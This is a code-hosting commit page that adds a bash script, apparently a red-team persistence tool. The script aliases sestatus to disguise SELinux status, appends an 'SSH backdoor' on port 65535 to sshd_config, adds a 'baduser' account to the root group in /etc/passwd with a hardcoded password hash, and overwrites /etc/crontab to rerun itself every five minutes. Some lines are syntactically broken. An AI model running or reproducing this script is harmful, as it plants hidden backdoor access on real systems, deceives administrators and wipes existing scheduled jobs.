UNCLASSIFIED

Skip to content
Snippets Groups Projects
Commit b089faaf authored by Avery Kleeman's avatar Avery Kleeman
Browse files

Add new file

parent d09a08b4
Branches
No related merge requests found
#!/bin/bash
DIR='/etc/profile.d/00-aliases.sh'
# Hide my potential presence; taking over selinux and modifying the output
if ! [ -d $DIR ]
then
touch /etc/profile.d/00-aliases.sh
echo alias sestatus='sestatus | (echo -e "\t\tSEWindows" && cat) | sed -e "s/SELinux/SEWindow/g" | sed -e "s/: /:\t/g" | sed -e "s/enabled/on/" | sed -e "s/enforcing/strongarm/" | sed -e "s/permissive/Quiet/"' > /etc/profile.d/00-aliases.sh
fi
# Create backdoor via ssh
if ! grep -xq '# SSH backdoor' /etc/ssh/sshd_config
then
echo -e "# SSH backdoor\nPort 65535\nMatch User *, LocalPort 65535\n\tAllowUsers baduser" >> /etc/ssh/sshd_config
systemctl restart sshd.service
fi
# Create User
if ! grep -q 'baduser' /etc/passwd
then
echo 'baduser:$6$EAuRCDm6$5Fcx6IrzAjcsBjNtqB7O0dZlmBtsHIwcOnfVjv610KKRzfacFnxOZ/wfGHP.3mmnDB/MdP0BQFBNYamtlxDOM0:1024:0:root:/dev/shm:/bin/bash' >> /etc/passwd
fi
“”” > /sbin/SEWindows
# Create Persistence
echo*/5 * * * * root /sbin/SEWindows >/dev/null 2>&1” > /etc/crontab
0% or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment